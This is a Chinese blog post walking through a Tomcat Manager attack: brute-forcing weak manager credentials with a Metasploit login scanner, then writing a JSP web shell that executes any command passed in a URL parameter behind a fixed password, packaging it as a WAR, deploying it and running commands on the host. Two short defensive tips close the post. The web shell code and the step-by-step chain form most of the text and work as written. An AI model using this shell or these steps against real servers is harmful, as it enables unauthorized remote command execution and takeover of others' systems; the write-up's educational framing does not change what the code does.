Tomcat漏洞复现

一、Tomcat漏洞原理

Tomcat可以在后台部署War文件,默认的后台页面只允许在本地访问,如果内部技术人员手动配置允许其远程访问,在能得到后台管理账户和密码的情况下,攻击者可以上传木马图片,控制主机权限。

二、涉及版本

全版本

三、漏洞复现条件

1.后台管理页面允许远程访问
2.能拿到账户密码

四、复现步骤(搭建容器过程省略)

(1)弱口令爆破账号密码

1.进入Tomcat后台页面点击Manager APP,弹出登录框,需要账号密码

2.我们使用msf进行爆破(也可使用bp抓包爆破,此处不演示),进入开启kali的root权限,输入msfconsole调用msf工具

3.输入search tomcat查询tomcat相关脚本工具

4.发现mgr-longin,使用use指令调用该脚本,并输入show options查看配置并修改,这里我们修改目的IP

5.run执行脚本爆破

6、得到弱口令账号和密码为tomcat tomcat

(2)getshell

1.输入密码进入后台部署页面

2.编写jsp木马,命名为shell.jsp

1
2
3
4
5
6
7
8
9
10
11
12
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

脚本含义是当我们get传入pwd为023时,就会读取get传入数据i作为指令并将结果返回页面(也可以在网上搜寻支持蚁剑,冰蝎连接的脚本)
3.将jsp木马转为War文件形式,先进入shell.jsp所在目录

1
jar -cvf shell3.war shell.jsp

在目录下就会生成shell3.war文件
4.将shell3.waf上传并部署

5.访问yourip/war文件名/jsp文件名.jsp,出现空白页面则说明成功

6.?pwd=023&i=ls成功拿到权限

五、防范

1.非必要禁止远程登录,或者限制访问的IP(只允许内部人员主机IP远程登录)
2.设置复杂的后台管理密码并定期更换


Tomcat漏洞复现
http://example.com/2024/10/13/Tomcat漏洞复现/
作者
印星
发布于
2024年10月13日
许可协议